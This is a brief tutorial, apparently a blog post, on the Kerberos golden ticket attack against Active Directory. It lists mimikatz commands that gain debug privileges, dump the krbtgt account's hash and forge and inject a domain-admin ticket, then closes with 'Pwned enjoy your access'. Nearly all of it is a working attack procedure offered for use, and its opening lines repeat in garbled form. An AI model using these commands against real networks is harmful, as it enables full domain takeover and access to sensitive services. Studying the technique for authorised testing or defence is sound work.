Kerberos Golden Tickets
A golden ticket in Active Directory grants the bearer unlimited access. An attacker holding one can reach any service, for an unlimited time.
golden ticket in Active Directory grants the bearer unlimited access.
An attacker with kerberos golden ticket can get access to and third party service for an unlimited time.
In another word Game Over !
1.So lets dive in and open mimikatz.exe and getting some privileges with privilege::debug
2. After we got some more privileges lets harvest the krbtgt credentials with command lsadump::lsa /inject /name:krbtgt
3.Creating a forged golden ticket that automatically gets injected in current logon session’s memory
kerberos::golden /domain:domain.local /sid:*********************************** /rc4:******************************************************** /user:newAdmin /id:500 /ptt
4.Check for the new ticket with klist command
5.Pwned enjoy your access to some sensetive services in the network 🙂
